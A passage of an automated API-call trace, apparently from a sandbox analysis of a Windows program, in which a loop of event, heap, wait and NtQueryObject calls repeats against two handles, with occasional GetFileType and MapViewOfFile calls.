lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.821] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.821] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.821] GetFileType (hFile=0x1a0) returned 0x0 [0071.821] ResetEvent (hEvent=0x110) returned 1 [0071.821] SetEvent (hEvent=0x114) returned 1 [0071.821] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.822] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.822] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.822] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.822] GetFileType (hFile=0x1a0) returned 0x3 [0071.822] ResetEvent (hEvent=0x110) returned 1 [0071.822] SetEvent (hEvent=0x114) returned 1 [0071.822] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.822] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.822] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.822] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.822] GetFileType (hFile=0x1a0) returned 0x0 [0071.822] ResetEvent (hEvent=0x110) returned 1 [0071.822] SetEvent (hEvent=0x114) returned 1 [0071.822] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.822] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.822] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.822] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.822] ResetEvent (hEvent=0x110) returned 1 [0071.823] SetEvent (hEvent=0x114) returned 1 [0071.823] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.823] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.823] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.823] ResetEvent (hEvent=0x110) returned 1 [0071.823] SetEvent (hEvent=0x114) returned 1 [0071.823] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.823] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.823] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.823] ResetEvent (hEvent=0x110) returned 1 [0071.823] SetEvent (hEvent=0x114) returned 1 [0071.823] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.824] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.824] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.824] ResetEvent (hEvent=0x110) returned 1 [0071.824] SetEvent (hEvent=0x114) returned 1 [0071.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.824] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.824] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.824] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.824] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.824] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.825] ResetEvent (hEvent=0x110) returned 1 [0071.825] SetEvent (hEvent=0x114) returned 1 [0071.825] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.825] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.825] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.825] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.825] ResetEvent (hEvent=0x110) returned 1 [0071.825] SetEvent (hEvent=0x114) returned 1 [0071.825] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.825] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.825] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.825] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.825] ResetEvent (hEvent=0x110) returned 1 [0071.825] SetEvent (hEvent=0x114) returned 1 [0071.825] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.826] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.826] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.826] ResetEvent (hEvent=0x110) returned 1 [0071.826] SetEvent (hEvent=0x114) returned 1 [0071.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.826] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.826] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.826] ResetEvent (hEvent=0x110) returned 1 [0071.826] SetEvent (hEvent=0x114) returned 1 [0071.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.826] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.826] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.826] ResetEvent (hEvent=0x110) returned 1 [0071.826] SetEvent (hEvent=0x114) returned 1 [0071.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.827] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.827] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.827] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.827] ResetEvent (hEvent=0x110) returned 1 [0071.827] SetEvent (hEvent=0x114) returned 1 [0071.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.827] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.827] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.827] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.827] ResetEvent (hEvent=0x110) returned 1 [0071.827] SetEvent (hEvent=0x114) returned 1 [0071.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.827] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.827] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.827] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.828] ResetEvent (hEvent=0x110) returned 1 [0071.828] SetEvent (hEvent=0x114) returned 1 [0071.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.828] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.828] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.828] ResetEvent (hEvent=0x110) returned 1 [0071.828] SetEvent (hEvent=0x114) returned 1 [0071.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.828] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.828] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.828] ResetEvent (hEvent=0x110) returned 1 [0071.828] SetEvent (hEvent=0x114) returned 1 [0071.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.828] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.829] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.829] ResetEvent (hEvent=0x110) returned 1 [0071.829] SetEvent (hEvent=0x114) returned 1 [0071.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.829] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.829] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.829] ResetEvent (hEvent=0x110) returned 1 [0071.829] SetEvent (hEvent=0x114) returned 1 [0071.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.829] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.829] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.829] ResetEvent (hEvent=0x110) returned 1 [0071.829] SetEvent (hEvent=0x114) returned 1 [0071.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.829] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.830] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.830] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.830] ResetEvent (hEvent=0x110) returned 1 [0071.830] SetEvent (hEvent=0x114) returned 1 [0071.830] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.830] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.830] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.830] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.830] ResetEvent (hEvent=0x110) returned 1 [0071.830] SetEvent (hEvent=0x114) returned 1 [0071.830] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.830] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.830] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.830] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.830] ResetEvent (hEvent=0x110) returned 1 [0071.830] SetEvent (hEvent=0x114) returned 1 [0071.831] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.831] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.831] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.831] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.831] ResetEvent (hEvent=0x110) returned 1 [0071.831] SetEvent (hEvent=0x114) returned 1 [0071.831] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.831] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.831] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.831] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.831] ResetEvent (hEvent=0x110) returned 1 [0071.831] SetEvent (hEvent=0x114) returned 1 [0071.831] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.831] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.831] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.831] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.831] ResetEvent (hEvent=0x110) returned 1 [0071.832] SetEvent (hEvent=0x114) returned 1 [0071.832] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.832] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.832] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.832] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.832] ResetEvent (hEvent=0x110) returned 1 [0071.832] SetEvent (hEvent=0x114) returned 1 [0071.832] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.832] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.832] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.832] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.832] ResetEvent (hEvent=0x110) returned 1 [0071.832] SetEvent (hEvent=0x114) returned 1 [0071.832] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.832] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.833] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.833] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.833] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0071.833] ResetEvent (hEvent=0x110) returned 1 [0071.833] SetEvent (hEvent=0x114) returned 1 [0071.833] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.833] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.833] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.833] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.833] ResetEvent (hEvent=0x110) returned 1 [0071.833] SetEvent (hEvent=0x114) returned 1 [0071.833] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.833] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.833] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.833] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.833] ResetEvent (hEvent=0x110) returned 1 [0071.833] SetEvent (hEvent=0x114) returned 1 [0071.834] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.834] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.834] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.834] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.834] ResetEvent (hEvent=0x110) returned 1 [0071.834] SetEvent (hEvent=0x114) returned 1 [0071.834] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.834] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.834] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.834] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.834] ResetEvent (hEvent=0x110) returned 1 [0071.834] SetEvent (hEvent=0x114) returned 1 [0071.834] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.834] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.834] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.834] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.834] ResetEvent (hEvent=0x110) returned 1 [0071.835] SetEvent (hEvent=0x114) returned 1 [0071.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.835] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.835] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.835] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.835] ResetEvent (hEvent=0x110) returned 1 [0071.835] SetEvent (hEvent=0x114) returned 1 [0071.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.835] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.835] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.835] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.835] ResetEvent (hEvent=0x110) returned 1 [0071.835] SetEvent (hEvent=0x114) returned 1 [0071.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.836] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.836] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.836] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.836] ResetEvent (hEvent=0x110) returned 1 [0071.836] SetEvent (hEvent=0x114) returned 1 [0071.836] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.836] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.836] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.836] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.836] ResetEvent (hEvent=0x110) returned 1 [0071.836] SetEvent (hEvent=0x114) returned 1 [0071.836] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.836] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.836] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.836] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.836] ResetEvent (hEvent=0x110) returned 1 [0071.836] SetEvent (hEvent=0x114) returned 1 [0071.837] RtlAllocateHeap (HeapHandle=0xf70000, 